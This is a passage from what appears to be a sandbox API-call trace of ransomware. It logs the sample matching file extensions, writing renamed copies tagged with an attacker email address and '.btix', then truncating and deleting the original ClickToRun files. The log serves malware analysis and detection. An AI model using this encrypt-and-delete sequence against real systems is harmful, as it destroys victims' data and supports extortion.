returned -1 [0055.507] lstrlenW (lpString=".pdf") returned 4 [0055.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.507] lstrlenW (lpString=".xls") returned 4 [0055.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.507] lstrlenW (lpString=".xlsx") returned 5 [0055.507] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0055.507] lstrlenW (lpString=".ppt") returned 4 [0055.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".zip") returned 4 [0055.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".rar") returned 4 [0055.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".bz2") returned 4 [0055.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.508] lstrlenW (lpString=".7z") returned 3 [0055.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".dbf") returned 4 [0055.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".1cd") returned 4 [0055.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".jpg") returned 4 [0055.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".doc") returned 4 [0055.508] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".docx") returned 5 [0055.508] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0055.508] lstrlenW (lpString=".pdf") returned 4 [0055.508] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".xls") returned 4 [0055.508] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".xlsx") returned 5 [0055.508] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0055.508] lstrlenW (lpString=".ppt") returned 4 [0055.508] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.508] lstrlenW (lpString=".zip") returned 4 [0055.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.508] lstrlenW (lpString=".rar") returned 4 [0055.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.509] lstrlenW (lpString=".bz2") returned 4 [0055.509] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.509] lstrlenW (lpString=".7z") returned 3 [0055.509] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.509] lstrlenW (lpString=".dbf") returned 4 [0055.509] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.509] lstrlenW (lpString=".1cd") returned 4 [0055.509] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0055.509] lstrlenW (lpString=".jpg") returned 4 [0055.509] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.509] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.509] lstrlenW (lpString="AppVScripting.dll") returned 17 [0055.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.510] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=512216) returned 1 [0055.510] CloseHandle (hObject=0x398) returned 1 [0055.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0055.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.510] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.510] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0055.511] GetLastError () returned 0x0 [0055.511] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0055.680] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0055.687] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.687] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf6, lpOverlapped=0x0) returned 1 [0055.687] SetEndOfFile (hFile=0x32c) returned 1 [0055.687] CloseHandle (hObject=0x32c) returned 1 [0055.695] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.695] SetEndOfFile (hFile=0x398) returned 1 [0055.701] CloseHandle (hObject=0x398) returned 1 [0055.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.701] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0055.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.702] lstrlenW (lpString=".doc") returned 4 [0055.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString=".docx") returned 5 [0055.702] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0055.702] lstrlenW (lpString=".pdf") returned 4 [0055.702] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString=".xls") returned 4 [0055.702] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString=".xlsx") returned 5 [0055.702] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0055.702] lstrlenW (lpString=".ppt") returned 4 [0055.702] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.702] lstrlenW (lpString=".zip") returned 4 [0055.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString=".rar") returned 4 [0055.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.702] lstrlenW (lpString=".bz2") returned 4 [0055.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.702] lstrlenW (lpString=".7z") returned 3 [0055.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.702] lstrlenW (lpString=".dbf") returned 4 [0055.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.702] lstrlenW (lpString=".1cd") returned 4 [0055.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".jpg") returned 4 [0055.703] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".doc") returned 4 [0055.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString=".docx") returned 5 [0055.703] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0055.703] lstrlenW (lpString=".pdf") returned 4 [0055.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString=".xls") returned 4 [0055.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString=".xlsx") returned 5 [0055.703] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0055.703] lstrlenW (lpString=".ppt") returned 4 [0055.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".zip") returned 4 [0055.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString=".rar") returned 4 [0055.703] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.703] lstrlenW (lpString=".bz2") returned 4 [0055.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.703] lstrlenW (lpString=".7z") returned 3 [0055.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".dbf") returned 4 [0055.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".1cd") returned 4 [0055.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0055.703] lstrlenW (lpString=".jpg") returned 4 [0055.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.704] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0055.704] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0055.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.704] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=263896) returned 1 [0055.704] CloseHandle (hObject=0x398) returned 1 [0055.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0055.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.704] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.704] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0055.705] GetLastError () returned 0x0 [0055.705] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x406d8, lpOverlapped=0x0) returned 1 [0055.829] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x406e0, lpOverlapped=0x0) returned 1 [0055.834] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.834] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf4, lpOverlapped=0x0) returned 1 [0055.834] SetEndOfFile (hFile=0x32c) returned 1 [0055.834] CloseHandle (hObject=0x32c) returned 1 [0055.838] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.839] SetEndOfFile (hFile=0x398) returned 1 [0055.841] CloseHandle (hObject=0x398) returned 1 [0055.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.842] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0055.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.842] lstrlenW (lpString=".doc") returned 4 [0055.842] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.842] lstrlenW (lpString=".docx") returned 5 [0055.842] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0055.842] lstrlenW (lpString=".pdf") returned 4 [0055.842] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".xls") returned 4 [0055.842] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".xlsx") returned 5 [0055.842] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0055.842] lstrlenW (lpString=".ppt") returned 4 [0055.842] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.842] lstrlenW (lpString=".zip") returned 4 [0055.842] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".rar") returned 4 [0055.842] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".bz2") returned 4 [0055.843] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.843] lstrlenW (lpString=".7z") returned 3 [0055.843] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.843] lstrlenW (lpString=".dbf") returned 4 [0055.843] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.843] lstrlenW (lpString=".1cd") returned 4 [0055.843] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.843] lstrlenW (lpString=".jpg") returned 4 [0055.843] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.843] lstrlenW (lpString=".doc") returned 4 [0055.843] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.843] lstrlenW (lpString=".docx") returned 5 [0055.843] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0055.843] lstrlenW (lpString=".pdf") returned 4 [0055.843] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".xls") returned 4 [0055.843] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".xlsx") returned 5 [0055.843] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0055.843] lstrlenW (lpString=".ppt") returned 4 [0055.843] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.844] lstrlenW (lpString=".zip") returned 4 [0055.844] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.844] lstrlenW (lpString=".rar") returned 4 [0055.844] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.844] lstrlenW (lpString=".bz2") returned 4 [0055.844] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.844] lstrlenW (lpString=".7z") returned 3 [0055.844] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.844] lstrlenW (lpString=".dbf") returned 4 [0055.844] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.844] lstrlenW (lpString=".1cd") returned 4 [0055.844] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0055.844] lstrlenW (lpString=".jpg") returned 4 [0055.844] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.844] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.844] lstrlenW (lpString="C2R32.dll") returned 9 [0055.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.844] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=820416) returned 1 [0055.845] CloseHandle (hObject=0x398) returned 1 [0055.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0055.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.845] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.845] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0055.845] GetLastError () returned 0x0 [0055.845] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0056.164] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0056.696] ReadFile (in: hFile=0x398, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.696] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xe6, lpOverlapped=0x0) returned 1 [0056.696] SetEndOfFile (hFile=0x32c) returned 1 [0056.696] CloseHandle (hObject=0x32c) returned 1 [0056.709] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.709] SetEndOfFile (hFile=0x398) returned 1 [0056.715] CloseHandle (hObject=0x398) returned 1 [0056.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.716] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0056.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.716] lstrlenW (lpString=".doc") returned 4 [0056.716] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.716] lstrlenW (lpString=".docx") returned 5 [0056.716] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0056.716] lstrlenW (lpString=".pdf") returned 4 [0056.716] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.716] lstrlenW (lpString=".xls") returned 4 [0056.716] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.716] lstrlenW (lpString=".xlsx") returned 5 [0056.716] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0056.716] lstrlenW (lpString=".ppt") returned 4 [0056.716] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.716] lstrlenW (lpString=".zip") returned 4 [0056.716] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString=".rar") returned 4 [0056.717] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString=".bz2") returned 4 [0056.717] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.717] lstrlenW (lpString=".7z") returned 3 [0056.717] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString=".dbf") returned 4 [0056.717] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 